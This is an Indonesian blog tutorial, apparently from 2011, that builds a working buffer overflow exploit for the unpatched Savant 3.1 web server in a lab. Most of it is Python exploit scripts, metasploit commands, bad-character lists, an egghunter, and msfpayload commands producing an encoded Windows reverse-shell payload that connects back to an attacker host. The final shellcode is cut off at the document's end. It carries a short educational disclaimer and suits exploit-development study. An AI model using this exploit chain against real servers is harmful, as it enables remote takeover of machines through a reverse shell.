Searching...
December 28, 2011
Wednesday, December 28, 2011

From Bug To 0day Egghunter VS Savant


Peringatan! Turorial ini ditujukan untuk pembelajaran, dan anda TIDAK diperkenankan menggunakan keahlian ini untuk menyerang sistem dimana anda tidak memiliki izin untuk mengaksesnya. Gunakan sebijak mungkin untuk kepentingan orang banyak, dan tidak merugikan pihak manapun.

Pada tutorial kali ini, saya akan mencoba menguji system milik Savant, dimana Savan tidak pernah menyediakan patch terhadap systemnya, sehingga celah buffer overflow tidak pernah diperbaiki. Jika anda menggunakan Savant, berhentilah sekarang juga. Karena anda akan menyaksikan betapa berbahayanya jika program Savant anda tereksploitasi.

Required knowledge:

1. TCP/IP Networking
2. Mengatur operasi sistem Windows, seperti melakukan Instalasi, menghentikan service, dan menggunakan command prompt.
3. Membuat serta menjalankan script python dan perl.
4. Menggunakan OllyDbg selama proses debugging
5. Mampu menggunakan Metasploit, beserta extensinya.

System Setup:

Pada tutorial kali ini, saya menggunakan dua operasi system. Backtrack sebagai Penetration Tester, dan Windows sebagai Objek testing. Saya menggunakan VMware untuk menjalankan Operasi Sistem windows di dalam backtrack, dengan spesifikasi:


1. IP Backtrack : 192.168.1.4
2. IP Windows : 192.168.1.6
3. Type Network VMware : Bridge pada interface wlan0
4. Windows Version : XP SP 2 English
5. Backtrack Version : 5 Code Name Revolution

Pastikan kedua mesin mampu berinteraksi dengan perintah ping.



Required Software:

Pastikan anda memiliki software ini di dalam backtrack anda:
1. Perl Interpreter
2. Python Interpreter
3. Metasploit 4.X
4. Text Editor
5. Netcat
6. Generates Code download link


Pastikan anda memiliki software ini di dalam Windows Anda:
1. Savant Web Server 3.1 download link
2. OllyDbg 1.1 download link


Attach Savant ke dalam OllyDbg

Pastikan OllyDbg memiliki akses Administrator (jalankan sebagai administrator). Kemudian buka File - Open - C:\Savant - Savant.exe


Catatan: Anda harus melakukan restart program di dalam ollydbg setiap crash terjadi. Restart bisa dilakukan dengan cara Debug - Restart, atau tekan tombol ctrl + f2.


Memicu Vulnerability:

Kita dapat memicu vulnerability untuk membuat system Savant crash, dengan mengirim request dengan URI yang memiliki panjang tertentu. Karakter % harus ada di dalam buffer yang kita kirim, dan ukuran buffer harus sangat tepat agar EIP dapat di-overwrite.

Request dalam metode HTTP (seperti GET atau POST) memiliki panjang karakter dari 0-38. Saya akan mulai dengan mengirim GET request dengan URI /% diikuti dengan 258 karakter "A". Script python akan tampak seperti ini.


Code:
#!/usr/bin/pythonimport socket
target_address="192.168.1.6"target_port=80
badbuffer = "\x41" * 258httpmethod = "GET"
sendbuf = httpmethod + " /%" + badbuffer + '\r\n\r\n'
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)connect=sock.connect((target_address,target_port))sock.send(sendbuf)sock.close()


Simpan dengan nama 0day.py, sesuaikan target ip dengan IP windows anda. Kemudian ubah permission 0day.py dengan perintah


Code:
root@metasploit:~# chmod +x 0day.py


Kembali ke OllyDbg Windows, Pilih Debug - Run, atau tekan tombol f9 untuk menjalankan Savant di dalam OllyDbg.

Gambar berikut menunjukan Savant Sebelum terjadinya crash. Kita bisa lihat bahwa Register EAX berwarna abu-abu, yang menandakan bahwa program berjalan sebagaimana mestinya (tidak crash).



Kemudian eksekusi dengan perintah:

Code:
root@metasploit:~# python 0day.py


Dan ini register EAX setelah Savant mengalami crash


Perhatikan pada bagian stack. Daftar kedua dari atas, merujuk ke GET string. Mari kita ikuti stack ini, dan lihat memory yang dirujuk.


Hmmm.. Ada banyak karakter A disini. Sepertinya ini adalah dampak dari buffer yang kita kirim tadi.


Jika kita bisa menggunakan entri ini untuk melakukan perintah RETN, kita bisa langsung menuju ke GET string di dalam memori.


Menemukan Overwrite Offset

Untuk tahap ini, kita membutuhkan bantuan metasploit untuk membuat pattern, sehingga buffer kita dapat mengeksekusi perintah return.


Code:
root@metasploit:~# cd /opt/metasploit/apps/pro/msf3/tools && ruby pattern_create.rb 258




Hasilnya:

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5

Sekarang kita masukan pattern ini ke dalam buffer kita:


Code:
#!/usr/bin/pythonimport socket
target_address="192.168.1.6"target_port=80
badbuffer = ("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5")httpmethod = "GET"
sendbuf = httpmethod + " /%" + badbuffer + '\r\n\r\n'
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)connect=sock.connect((target_address,target_port))sock.send(sendbuf)sock.close()

Simpan file 0day kita, kembali ke debugger dan restart Savant. Jalankan Savant kembali, dan eksekusi file 0day kita.


Kita bisa lihat sekarang EIP yang di-overwrite merujuk ke 35694134. Sekarang kita buat lagi pattern 35694134.


Code:
root@metasploit:~#cd /opt/metasploit/apps/pro/msf3/tools && ruby pattern_offset.rb 35694134


Hasilnya adalah 254



Kemudian kita ubah lagi buffer kita menjadi seperti ini:

Code:
#!/usr/bin/pythonimport socket
target_address="192.168.1.6"target_port=80
badbuffer = "\x41" * 254badbuffer += "\x42\x42\x42\x42" # EIP Overwritehttpmethod = "GET"
sendbuf = httpmethod + " /%" + badbuffer + '\r\n\r\n'
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)connect=sock.connect((target_address,target_port))sock.send(sendbuf)sock.close()


Simpan file 0day kita, kembali ke OllyDgb, restart Savant, dan Eksekusi file 0day kita.


Kita berhasil meng-overwrite EIP menjadi 4242424242. Sekarang, perhatikan kolom stack. Persis setelah stack 4242424242, terdapat \x00 nol byte di dalam memory.


Sepertinya kita bisa mengandalkan informasi yang satu ini. Restart Savant di dalam OllyDbg, kemudian klik kanan pada panel CPU, Go To - Expression - Ketik 00424242 - Klik OK


Kita dapat lihat, terdapat karakter \xcc dengan INT3 sebagai breakpoint nya. Ini informasi yang penting, karena kita dapat memodifikasi buffer kita, agar berfungsi lebih baik.


Ubah buffer kita menjadi

Code:
#!/usr/bin/pythonimport socket
target_address="192.168.1.6"target_port=80
badbuffer = "\x41" * 254badbuffer += "\x42\x42\x42" # EIP Overwritehttpmethod = "GET"
sendbuf = httpmethod + " /%" + badbuffer + '\r\n\r\n'
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)connect=sock.connect((target_address,target_port))sock.send(sendbuf)sock.close()

Simpan file 0day kita, kembali ke OllyDgb, restart Savant, dan Eksekusi file 0day kita.


Sukses. Kita telah meng-overwrite EIP menjadi 42424243. Langkah selanjutnya adalah menjadi perintah POP r32 dan RETN di dalam panel CPU.

Klik kanan pada panel CPU, kemudian pilih Search for - Sequence - Masukan POP r32 dan RETN di dalam box. Klik find.


Terlihat bahwa POP EBP, dan RETN terdapat pada 00401D09.


Kita akan memodifikasi lagi buffer kita. Kali ini, kita akan mengatur breakpoint pada \xcc. Sehingga buffer kita akan menjadi seperti ini:

Code:
#!/usr/bin/pythonimport socket
target_address="192.168.1.6"target_port=80
badbuffer = "\x41" * 254badbuffer += "\x09\x1D\x40" # EIP Overwrite 00401D09 savant.exe POP EBP, RETNhttpmethod = "\xcc"
sendbuf = httpmethod + " /%" + badbuffer + '\r\n\r\n'
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)connect=sock.connect((target_address,target_port))sock.send(sendbuf)sock.close()


Simpan file 0day kita, kembali ke OllyDgb, restart Savant, dan Eksekusi file 0day kita.


Ketika 0day dieksekusi, proses terhenti pada perintah INT3. Untuk mengatasi ini, kita harus mencari alamat perintah INT3, dan memodifikasi kembali buffer kita. Klik kanan pada panel CPU, pilih Follow In Dump - Selection. Terlihat bahwa posisi saya berada pada memori 00B2EAB9 dan berada sejau 25 byte dari awal \x41.


Untuk itu kita harus melakukan jump sejauh 25 byte untuk dapat mengeksekusi buffer kita. Hexadecimal dari 25 setara dengan 0x19, jadi kita akan menggunakan \xeb\x19 untuk melakukan lompatan ini. Kembali kita modifikasi buffer kita menjadi:

Code:
#!/usr/bin/pythonimport socket
target_address="192.168.1.6"target_port=80
badbuffer = "\xcc"badbuffer += "\x41" * (254 - len(badbuffer))badbuffer += "\x09\x1D\x40" # EIP Overwrite 00401D09 savant.exe POP EBP, RETNhttpmethod = "\xEB\x19" # SHORT JUMP 0x19
sendbuf = httpmethod + " /%" + badbuffer + '\r\n\r\n'
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)connect=sock.connect((target_address,target_port))sock.send(sendbuf)sock.close()

Sebelum kita mengeksekusi file 0day, kita akan membuat breakpoint pada 00401D09, restart debugger, klik kanan pada Panel CPU - Go To - Expression - masukan angka 00401D09 - OK. Tekan F2 untuk menetapkan breakpoint kita pada 00401D09. Perhatikan setiap kali anda menjalankan debugger pada breakpoint ini, program akan berhenti pada breakpoint ini. Tekan F7 untuk kembali menjalankan program (melewati breakpoint), dan temukan kondisi dimana program dapat dieksploitasi karena mengalami crash system.

Setelah menekan tombol F7 sebanyak dua kali (dalam kasus saya), terlihat bahwa saya terhenti pada instruksi RETF. Instruksi \xeb milik saya telah diubah menjadi \xcb. Ini adalah karakter buruk untuk sebuah buffer.



Conditional Jump

Jadi, bagaimana kita dapat melompat lebih jauh? Jika kita tidak bisa menggunakan unconditional jump dengan karakter \xeb, kita bisa melakukan lompatan kondisional dengan karakter \xcb. Ini berarti kita membutuhkan langkah tambahan untuk memastikan kondisinya tepat untuk melakukan lompatan. Kode lompatan kondisional yang dapat kita pakai adalah:


  1. JO \x70
  2. JNO \x71
  3. JB \x72
  4. JAE \x73
  5. JE \x74
  6. JNE \x75
  7. JS \x78
  8. JNS \x79
  9. JP \x7A
  10. JPO \x7B
Sekarang kita akan ubah exploit kita, dengan menambahkan kode lompatan kondisional. Sehingga exploit kita menjadi:


Code:
#!/usr/bin/pythonimport socket
target_address="192.168.1.6"target_port=80
badbuffer = "\xcc"badbuffer += "\x41" * (254 - len(badbuffer))badbuffer += "\x09\x1D\x40" # EIP Overwrite 00401D09 savant.exe POP EBP, RETNhttpmethod = "\x70\x71\x72\x73\x74\x75\x78\x79\x7A\x7B" # Test for working conditional jumps
sendbuf = httpmethod + " /%" + badbuffer + '\r\n\r\n'
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)connect=sock.connect((target_address,target_port))sock.send(sendbuf)sock.close()


Pastikan bahwa breakpoint anda tetap berada di 00401D09 sebelum script 0day kita dieksekusi.


Sepertinya kode lompatan kondisional \X7B berhasil, terlihat bahwa di sana terdapat keterangan bahwa \X7B melakukan JPO SHORT ke 00B3EAC3.


Menemukan Karakter Buruk Dalam Metode HTTP

Untuk melakukan ini, kita membutuhkan bantuan generatecodes.pl. Program berbahasa perl ini dapat meregenerasi kode-kode tertentu, untuk mendapatkan kode buffer yang berfungsi dengan baik (bukan karakter buruk). Kita telah mencoba \x70\x71\x72\x73\x74\x75\x78\x79\x7A\x7B sebagai kode lompatan kondisional, dan hanya \x7B yang berhasil. Sehingga kita tau bahwa sisanya adalah karakter buruk. Selain itu, karakter \x00\x0a\x0d\x20 juga merupakan karakter buruk. Kita dapat memasukan 38 karakter kedalam Buffer dengan metode HTTP, namun hanya 24 dari mereka yang tampak di dalam memori, saya akan menggunakan generatecodes.pl untuk memotong baris menjadi 12 byte. Hasilnya:


root@revolution:~# ./generatecodes.pl  00,0a,0d,20,2f,70,71,72,73,74,75,79,7a,eb 12
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e"
"\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a"
"\x1b\x1c\x1d\x1e\x1f\x21\x22\x23\x24\x25\x26\x27"
"\x28\x29\x2a\x2b\x2c\x2d\x2e\x30\x31\x32\x33\x34"
"\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c"
"\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58"
"\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64"
"\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x76"
"\x77\x78\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84"
"\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c"
"\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8"
"\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4"
"\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc"
"\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8"
"\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4"
"\xe5\xe6\xe7\xe8\xe9\xea\xec\xed\xee\xef\xf0\xf1"
"\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd"
"\xfe\xff"

Kita akan gunakan 24 byte (2 baris) output pada generatecodes.pl, kemudian kita ubah buffer kita menjadi:


Code:
#!/usr/bin/pythonimport socket
target_address="192.168.1.6"target_port=80
badbuffer = "\xcc"badbuffer += "\x41" * (254 - len(badbuffer))badbuffer += "\x09\x1D\x40" # EIP Overwrite 00401D09 savant.exe POP EBP, RETNhttpmethod = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e""\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a")
sendbuf = httpmethod + " /%" + badbuffer + '\r\n\r\n'
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)connect=sock.connect((target_address,target_port))sock.send(sendbuf)sock.close()


Setelah dieksekusi, script ini tidak menyebabkan crash. Sekarang kita potong menjadi 12 byte. Sehingga script kita menjadi:



Code:
#!/usr/bin/pythonimport socket
target_address="192.168.1.6"target_port=80
badbuffer = "\xcc"badbuffer += "\x41" * (254 - len(badbuffer))badbuffer += "\x09\x1D\x40" # EIP Overwrite 00401D09 savant.exe POP EBP, RETNhttpmethod = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e")
sendbuf = httpmethod + " /%" + badbuffer + '\r\n\r\n'
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)connect=sock.connect((target_address,target_port))sock.send(sendbuf)sock.close()



Ini juga tidak menyebabkan crash. Sekarang kita potong 4 byte, menjadi.


Code:
#!/usr/bin/pythonimport socket
target_address="192.168.1.6"target_port=80
badbuffer = "\xcc"badbuffer += "\x41" * (254 - len(badbuffer))badbuffer += "\x09\x1D\x40" # EIP Overwrite 00401D09 savant.exe POP EBP, RETNhttpmethod = ("\x01\x02\x03\x04\x05\x06\x07\x08")sendbuf = httpmethod + " /%" + badbuffer + '\r\n\r\n'
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)connect=sock.connect((target_address,target_port))sock.send(sendbuf)sock.close()


Yang satu ini menyebabkan crash. Kemudian kita coba pada baris 3 dan 4 pada output generatescode.pl, dan masukan karakter ini ke dalam script. Sehingga script kita menjadi:


Code:
#!/usr/bin/pythonimport socket
target_address="192.168.1.6"target_port=80
badbuffer = "\xcc"badbuffer += "\x41" * (254 - len(badbuffer))badbuffer += "\x09\x1D\x40" # EIP Overwrite 00401D09 savant.exe POP EBP, RETNhttpmethod = ("\x1b\x1c\x1d\x1e\x1f\x21\x22\x23\x24\x25\x26\x27""\x28\x29\x2a\x2b\x2c\x2d\x2e\x30\x31\x32\x33\x34")
sendbuf = httpmethod + " /%" + badbuffer + '\r\n\r\n'
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)connect=sock.connect((target_address,target_port))sock.send(sendbuf)sock.close()


Karakter ini menyebabkan crash. Sekarang kita coba dengan karakter pada baris 5 dan 6 pada output generatecodes.pl. Sehingga script kita menjadi:


Code:
#!/usr/bin/pythonimport socket
target_address="192.168.1.6"target_port=80
badbuffer = "\xcc"badbuffer += "\x41" * (254 - len(badbuffer))badbuffer += "\x09\x1D\x40" # EIP Overwrite 00401D09 savant.exe POP EBP, RETNhttpmethod = ("\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40""\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c")
sendbuf = httpmethod + " /%" + badbuffer + '\r\n\r\n'
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)connect=sock.connect((target_address,target_port))sock.send(sendbuf)sock.close()


Karakter ini juga langsung menyebabkan crash. Untuk mempersingkat, saya tidak akan memberikan script dan kode kepada anda, satu per satu. Setelah menguji semua karakter, akhirnya saya mendapatkan karakter buruk:

\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x76\x77\x78\x9a\x9c\x9e\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff

Sehingga total karakter buruk kita bertambah menjadi

\x00\x09\x0a\x0d\x20\x2f\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x9a\x9c\x9e\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff


Mengatur Parity Flag

Setelah mengetahui karakter buruk yang tidak bisa digunakan dalam buffer, sekarang pertanyaannya adalah: "Instruksi apa yang bisa kita gunakan untuk mengatur parity flag?"

Cara mengatur nilai parity flag menjadi satu adalah dengan memiliki sejumlah kecil byte di dalam register. Namun ini tidak semudah yang didengar. Bagaimana cara memiliki byte-byte ini di dalam register? Dilihat dari OllyDbg, kita memiliki byte-byte ini, khususnya di register EAX, EBX, ECX, dan EDX. Mereka memiliki register anakan yang bisa dimanfaatkan, register tersebut benama AL, BL, CL, dan DL (dimana L berdiri sebagai Lower byte).

Jika kita pindahkan sebuah nilai ke dalam register AL, dan mengeksekusi perintah aritmatika pada register tersebut, untuk mengubah nilainya menjadi 1 bit, maka akan terjadi Parity Flag 0. Dengan mengatur AL register menjadi 3, dan kemudian menambahkan 1  ke dalam hasil AL, maka AL akan memiliki nilai biner 00000100.


MOV AL, 3
ADD AL, 1


Memodifikasi Memory di dalam OllyDbg

Kita akan gunakan script ini untuk menguji Savant di dalam OllyDbg, kemudian merubah memorinya.


Code:
#!/usr/bin/pythonimport socket
target_address="192.168.1.6"target_port=80
badbuffer = "\xcc"badbuffer += "\x41" * (254 - len(badbuffer))badbuffer += "\x09\x1D\x40" # EIP Overwrite 00401D09 savant.exe POP EBP, RETNhttpmethod = ("\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd""\xfe\xff")
sendbuf = httpmethod + " /%" + badbuffer + '\r\n\r\n'
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)connect=sock.connect((target_address,target_port))sock.send(sendbuf)sock.close()


Kemudian kita eksekusi.


Terlihat bahwa kita terhenti di 00B3EAB8. Double klik pada RCL BL,CL, kemudian ubah menjadi MOV AL, 3 seperti ini.


Kemudian ubah instruksi di bawahnya menjadi ADD AL, 1 seperti ini.


Setelah mengecek opcode yang digunakan untuk membuat instruksi ini, kita dapat melihat bahwa hasilnya:


\xb0\x03 MOV AL, 3
\x04\x01 ADD AL, 1

Karakter ini tidak buruk, dan dapat digunakan dalah metode HTTP. Langkah selantnya adalah engatur Parity Flag dari 0 menjadi 1. Double click Parity Flag pada panel register, dan ubah dari 0 menjadi 1.


Perhatikan angka 1 yang berwarna merah. Itulah nilai Parity Flag saat ini. Tekan F7 sebanya dua kali untuk melewati instruksi MOV dan ADD, maka kita akan melihat Parity Flag kembali ke nilai 0.


Dalam situasi ini kita bisa menyisipkan instruksi lompatan kondisional kita ke dalam debugger. Kali ini kita akan memodifikasi kode binary di dalam memory, yang memungkinkan kita untuk mamasukan kode mesin yang setara dengan perintah yang kita inginkan.

Pertama, kita harus tau seberapa jauh kita ingin melompat kedalam buffer kita. Nilai yang harus diketahui untuk menentukan ini, adalah alamat dari lokasi dimana kita akan melompat, dan alamat darimana kita melompat. Kita ingin melompat dari karakter \xcc dari karakter awal kita \x41, dimana dalam kasus saya adalah 00B3E93A.



Kita akan melompat dari EIP, ditambah 2 dimana instruksi JUMP kita berakhir. Sehingga 00B3EABC + 2 atau 00B3EABE. Perbedaan diantara dua alamat ini adalah 0x14 sehingga data biner yang harus kita sisipkan ke dalam memori adalah \x7b\x14.

Untuk memasukan data biner ini, ikuti langkah berikut pilih 2 alamat memori, 00B3EABC dan 00B3EABE, kemudian klik kanan - Binary - Edit.


Ubah D6 F7 dan D8 menjadi 7B 14 dan D8 seperti ini.


Maka CPU panel akan berubah menjadi seperti ini.


Tekan F7 dan perhatikan selama proses JUMP terjadi, dan ternyata kita kembali ke karakter \xcc pada karakter JUMP awal kita di \x41.


OK. Ternyata dengan mengubah memory, kita mendapatkan informasi untuk melakukan JUMP dan mendapatkan alamat tujutan JUMP kita. Maka langkah selanjutnya adalah mengubah script kita menjadi:


Code:
#!/usr/bin/pythonimport socket
target_address="192.168.1.6"target_port=80
badbuffer = "\xcc"badbuffer += "\x41" * (254 - len(badbuffer))badbuffer += "\x09\x1D\x40" # EIP Overwrite 00401D09 savant.exe POP EBP, RETNhttpmethod = "\xb0\x03\x04\x01\x7B\x14" # MOV AL, 3; ADD AL, 1; JPO 14
sendbuf = httpmethod + " /%" + badbuffer + '\r\n\r\n'
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)connect=sock.connect((target_address,target_port))sock.send(sendbuf)sock.close()


Langkah selanjutnya adalah menciptakan shellcode untuk di sisipkan ke dalam buffer kita.

root@revolution:~# msfpayload windows/shell_reverse_tcp LHOST=192.168.1.4 LPORT=443 C


Shellcode kita memiliki ukuran 314 byte. Dan ukuran ini tidak akan muat di dalam buffer kita. Padahal ukutan ini belum diencode dengan encoder apapun.


Memperbesar Buffer agar Shellcode dapat tertanam di dalam buffer

Jika shellcode tidak dapat dimuat ke dalam buffer, maka shellcode tidak akan dieksekusi selama masa exploitasi. Kita membutuhkan buffer yang lebih besar. Ubah script menjadi seperti ini.


Code:
#!/usr/bin/pythonimport socket
target_address="192.168.1.6"target_port=80
buffer2 = "R0cX" + "R0cX" + "\x41" * 992
badbuffer = "\xcc"badbuffer += "\x41" * (254 - len(badbuffer))badbuffer += "\x09\x1D\x40" # EIP Overwrite 00401D09 savant.exe POP EBP, RETNhttpmethod = "\xb0\x03\x04\x01\x7B\x15" # MOV AL, 3; ADD AL, 1; JPO 15
sendbuf = httpmethod + " /%" + badbuffer + '\r\n\r\n' + buffer2
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)connect=sock.connect((target_address,target_port))sock.send(sendbuf)sock.close()


Kemudian eksekusi file 0day kita. Seperti biasa, program mengalami crash di dalam debugger. Terlihat bahwa buffer baru kita tidak tampak di dalam memory.


Untuk menemukan letak buffer baru kita, Klik View - Memory. Klik kanan pada entri pertama - Search.



Pada kolom ASCII ketik R0cXR0cX
atau isi
Pada kolom  HEX +8 ketik 52 30 63 58 52 30 63 58

Seperti gambar di bawah ini:


Maka akan muncul windows seperti ini


Kita mendapatkan ruang yang cukup untuk menyimpan shellcode di sini. Namun bagaimana caranya agar kode eksekusi dapat dialihkan ke buffer ini? Kita membutuhkan EGGHUNTER.


Berburu Telur
Sebuah EggHunter adalah bagian esensial dari sebuah kode mesin, yang bisa digunakan untuk mencari "telur" (potongan kode mesin) di dalam sebuah memory program.

Dalam tutorial kali ini, saya menggunakan EggHunter milik Matt Miller. Source code EggHunter dapat di download di sini.

Code ini hanya bisa di compile dengan Microsoft C Compiler, (Anda bisa menggunakan Visual Studio versi berapapun untuk meng-compile script ini). Dan jika anda ingin meregenarasi EggHunter milik anda, anda harus menjalankan EggHunter ini di Command Prompt Windows. Saya akan memulai meregenerasi kode EggHunter milik saya. Anda bisa meng-kopi hasil regenerasi kode EggHunter milik saya jika anda tidak ingin meng-compile EggHunter menggunakan Visual Studio. =)


root@revolution:~# wine egghunt_syscall.exe cstyle 0x58633052
// 32 byte egghunt shellcode (egg=0x58633052)

unsigned char egghunt[] = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x52\x30\x63\x58\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7";

58633052 adalah hexadecimal untuk R0cX. Egghunt akan mengeksekusi kode EggHunter, ketika kode ini dieksekusi, maka program akan menuju alamat R0cX kita, dimana selanjutnya program akan mengeksekusi Shell Code di dalam buffer.


Menambahkan Kode EggHunter kedalam buffer

Sekarang kita sudah mendapatkan kode EggHunter untuk merujuk program ke R0cX dimana Shell Code kita siap di eksekusi. Ubah buffer kita menjadi:


Code:
#!/usr/bin/pythonimport socket
target_address="192.168.1.6"target_port=80
buffer2 = "R0cX" + "R0cX"
# Kode EggHunter untuk mencari R0cXbadbuffer = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x52\x30\x63\x58\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
badbuffer += "\x90" * (254 - len(badbuffer))badbuffer += "\x09\x1D\x40" # EIP Overwrite 00401D09 savant.exe POP EBP, RETNhttpmethod = "\xb0\x03\x04\x01\x7B\x14" # MOV AL, 3; ADD AL, 1; JPO 14
sendbuf = httpmethod + " /%" + badbuffer + '\r\n\r\n' + buffer2
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)connect=sock.connect((target_address,target_port))sock.send(sendbuf)sock.close()


Ok. Kode EggHunter sudah masuk ke dalam buffer. Sekarang kita buat ShellCode untuk disisipkan ke dalam buffer kita. Buka terminal, dan masukan perintah


root@revolution:~# msfpayload windows/shell_reverse_tcp LHOST=192.168.1.8 LPORT=4444 R | msfencode x86/shikata_ga_nai -c 4 -t c

Hasilnya:



Kemudian kita ubah script 0day kita menjadi:


Code:

#!/usr/bin/pythonimport socket
target_address="192.168.1.6"target_port=80
buffer2 = "R0cX" + "R0cX" # msfpayload windows/shell_reverse_tcp LHOST=192.168.1.8 LPORT=4444 R | msfencode -e x86/shikata_ga_nai -c 4 -t cbuffer2 += ("\xda\xd1\xba\x00\x2d\x36\x8b\xd9\x74\x24\xf4\x58\x33\xc9\xb1""\x63\x31\x50\x1a\x03\x50\x1a\x83\xe8\xfc\xe2\xf5\x97\xf7\x4b""\x64\xd5\x2e\x8c\x5f\x6e\xf5\xe7\x01\xbe\x3c\xb6\xe0\xf1\xe8""\xab\x99\x34\x10\xcf\x0a\x76\x6a\x08\x9c\xdc\x7f\x34\xea\x5b""\x5b\x52\xd0\x86\x97\x76\xd7\x1c\xdd\xcb\xb5\x32\x9c\xf2\x7b""\x1d\xe3\x4e\xaa\xad\x18\xa8\x0c\x13\xdb\x5d\x75\x59\xc7\xb4""\xdf\x57\xa7\x21\x15\x7b\x1d\x3a\x94\xc4\x78\x82\x94\x0c\x7e""\x2a\x03\xb5\x61\x96\xde\x43\x1f\xb0\x50\xc9\xef\xd4\xc0\xe3""\x25\xd6\xc3\x3f\xdf\xe4\xa7\x6a\x8c\x7a\xbe\x71\x46\xe8\x3c""\xb8\x64\x4c\xbc\x81\xd7\x73\x6a\x1d\x17\x71\x12\x78\x18\x1a""\xa5\x85\x6d\x6d\x92\xb1\x15\x06\x6a\xf4\x47\xab\xfd\x8e\x71""\xb1\xb9\xd8\x56\x9a\x3a\xc8\x13\x73\xc7\xac\xae\x62\xeb\xf8""\x35\x2f\x20\xa0\x8a\xe2\xa4\x1d\x65\x01\x18\x30\xca\x7a\x17""\x5b\xfa\x55\xb7\x9d\xf2\xee\x59\x21\x7f\x78\x72\x9e\x11\xa0""\xdc\xb9\x76\x29\x41\x84\x96\x22\x41\x71\x86\x42\x37\x1a\xcb""\x58\xd9\x21\x25\x85\x86\x6c\x7a\x70\xb3\x8c\xbb\x60\xae\xbe""\x10\x4d\x36\x35\xf0\xdd\x5e\x4a\x79\x03\xb9\x99\x81\x96\xe2""\xc6\xeb\x87\x2d\x97\x17\x94\x34\x0d\x31\x14\x33\xf8\x98\x09""\x42\x09\xb8\x03\xf1\